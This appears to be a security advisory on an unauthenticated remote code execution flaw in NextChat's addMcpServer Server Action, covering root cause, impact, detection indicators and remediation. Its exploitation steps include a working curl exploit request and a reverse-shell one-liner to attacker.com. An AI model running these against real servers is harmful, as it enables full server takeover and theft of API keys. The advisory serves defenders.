CVE-2026-7644: 
NextChat vulnerability analysis and mitigation

CVE-2026-7644 is an improper authorization / unauthenticated Remote Code Execution (RCE) vulnerability in ChatGPTNextWeb NextChat (ChatGPT-Next-Web) affecting versions up to and including 2.16.1. The flaw resides in the addMcpServer function within app/mcp/actions.ts, which is exposed as an unauthenticated Next.js Server Action, allowing any remote attacker to spawn arbitrary OS processes on the server without credentials. The vulnerability was disclosed publicly via a GitHub issue report (Issue #6757) on April 17, 2026, and was published to the NVD on May 2, 2026. The researcher-assessed CVSS v3.1 score is 9.8 (Critical), while the official NVD CVSS v4.0 base score is 5.5 (Medium) — the discrepancy reflects the NVD's scoped impact assessment versus the researcher's full-impact evaluation (Github Advisory, NextChat Issue).

The root cause is a missing authentication check (CWE-285: Improper Authorization; CWE-306: Missing Authentication for Critical Function; CWE-78: OS Command Injection) in app/mcp/actions.ts. The file uses the Next.js "use server" directive, which registers every exported async function — including addMcpServer — as an HTTP-callable Server Action reachable via POST to the application root with a Next-Action header. The addMcpServer function accepts attacker-controlled command and args fields, writes them to app/mcp/mcp_config.json, then calls initializeSingleClient() → createClient() in app/mcp/client.ts, which instantiates a StdioClientTransport that invokes child_process.spawn() with the attacker-supplied values. The spawned process inherits the full process.env, exposing all API keys. Critically, an existing isMcpEnabled() guard function is never called by addMcpServer, and the vulnerability is exploitable regardless of whether the ENABLE_MCP environment variable is set. The Server Action identifier (bf121c1ecf0d4134efe108324db2a952038b6c83) is a deterministic SHA-1 hash embedded in the publicly served client-side JavaScript bundle, making discovery trivial (NextChat Issue).

Successful exploitation grants an unauthenticated remote attacker full OS command execution as the server process user, enabling complete server compromise. All sensitive environment variables are exposed to attacker-spawned child processes, including OPENAI_API_KEY, ANTHROPIC_API_KEY, AZURE_API_KEY, GOOGLE_API_KEY, DEEPSEEK_API_KEY, CODE (the application access password), and keys for numerous other LLM providers — enabling API key theft and potentially unlimited financial charges against victim accounts. The malicious MCP server configuration is persisted to app/mcp/mcp_config.json on disk, surviving application restarts and enabling persistent backdoors. Additional post-exploitation capabilities include reverse shell establishment, cryptocurrency mining, data destruction, lateral movement to internal network services, and supply chain attacks via modification of served application code (NextChat Issue).

A detailed proof-of-concept exploit was publicly disclosed in GitHub Issue #6757 on April 17, 2026, demonstrating file creation, secret exfiltration, and arbitrary shell command execution via a single curl command. The exploit requires no authentication, no special configuration, and no user interaction, making it fully automatable. The EPSS score is approximately 0.058% (18th percentile), suggesting low current exploitation probability in the wild, and there is no confirmed evidence of active in-the-wild exploitation or CISA KEV catalog listing as of the report date. The project maintainers had not responded to the issue report at the time of disclosure (Github Advisory, NextChat Issue).

1. Reconnaissance: Identify internet-facing NextChat instances (versions ≤ 2.16.1) running in standalone, Docker, or Vercel deployment modes using Shodan, Censys, or similar tools. Static export deployments are not affected.
2. Discover the Server Action ID: Fetch the publicly served client-side JavaScript bundle (e.g., GET /_next/static/chunks/app/page.js) and search for the known addMcpServer action ID: bf121c1ecf0d4134efe108324db2a952038b6c83. This ID is deterministic for the affected build.
3. Craft the malicious payload: Construct a multipart form-data POST body containing an attacker-controlled command and args (e.g., /bin/sh with -c and a shell command), formatted as a JSON array matching the addMcpServer(clientId, ServerConfig) signature.
4. Send the exploit request: Issue a single HTTP POST to the application root with the Next-Action header set to the action ID and the crafted body:

curl -X POST http://<target>:3000/ \
  -H "Accept: text/x-component" \
  -H "Next-Action: bf121c1ecf0d4134efe108324db2a952038b6c83" \
  -H "Content-Type: multipart/form-data; boundary=----boundary" \
  --data-raw $'------boundary\r\nContent-Disposition: form-data; name="1_$ACTION_ID_bf121c1ecf0d4134efe108324db2a952038b6c83"\r\n\r\n\r\n------boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["pwned",{"command":"/bin/sh","args":["-c","cat .env.local > /tmp/exfil"],"status":"active"}]\r\n------boundary--'

5. Achieve RCE and exfiltrate secrets: The server spawns the attacker-controlled process, inheriting all environment variables. The attacker can read exfiltrated files, establish a reverse shell (bash -i >& /dev/tcp/attacker.com/4444 0>&1), or deploy a persistent backdoor via the persisted mcp_config.json.
6. Maintain persistence: The malicious entry written to app/mcp/mcp_config.json will be re-executed on application restart when initializeMcpSystem or restartAllClients is called (NextChat Issue).

• Network: Unexpected HTTP POST requests to the application root (/) with a Next-Action header value of bf121c1ecf0d4134efe108324db2a952038b6c83 (or other MCP action IDs); outbound connections from the NextChat server process to unknown external IPs or attacker-controlled hosts on non-standard ports (e.g., reverse shell callbacks).
• File System: Presence of unexpected files in /tmp/ (e.g., nextchat-rce-proof, rce-whoami, rce-env); modification timestamp changes on app/mcp/mcp_config.json with entries containing suspicious command values (e.g., /bin/sh, nc, bash, curl, wget, python); new or modified files in the NextChat installation directory.
• Logs: NextChat application logs showing [MCP Actions] Initializing client [<unexpected-id>]... or [NextChat MCP Client] Creating client for <unexpected-id>... entries for unrecognized client IDs; web/access logs showing POST requests to / with Next-Action headers from unexpected source IPs.
• Process: Unusual child processes spawned by the NextChat Node.js process (e.g., /bin/sh, bash, nc, curl, wget, python, touch) visible via ps aux or process monitoring tools; unexpected network listeners or outbound connections initiated by child processes of the Node.js server (NextChat Issue).

The primary remediation is to update NextChat to a version beyond 2.16.1 that includes a patch for this vulnerability; monitor the NextChat repository for a patched release. As an immediate workaround, restrict network access to the NextChat application using firewall rules or reverse proxy authentication (e.g., require authentication at the proxy layer before requests reach the application). Operators should also audit app/mcp/mcp_config.json for unexpected entries and rotate all exposed API keys (OpenAI, Anthropic, Azure, Google, DeepSeek, etc.) and the CODE access password if exploitation is suspected. If MCP functionality is not required, avoid setting ENABLE_MCP=true — though this alone does not prevent exploitation since addMcpServer lacks the isMcpEnabled() guard (Github Advisory, NextChat Issue).

The vulnerability was reported by researcher August829 via GitHub Issue #6757 on April 17, 2026, with a detailed technical write-up including multiple working PoCs and a researcher-assessed CVSS score of 9.8 (Critical) — significantly higher than the NVD's official 5.5 (Medium) rating, reflecting the real-world severity of full unauthenticated RCE. The project maintainers had not responded to the issue at the time of public disclosure, which the reporter noted explicitly. The vulnerability was subsequently covered by security aggregators including VulDB, RedPacket Security, and InfinitSec, and was included in a CISA vulnerability bulletin for the week of April 27, 2026 (NextChat Issue, Github Advisory).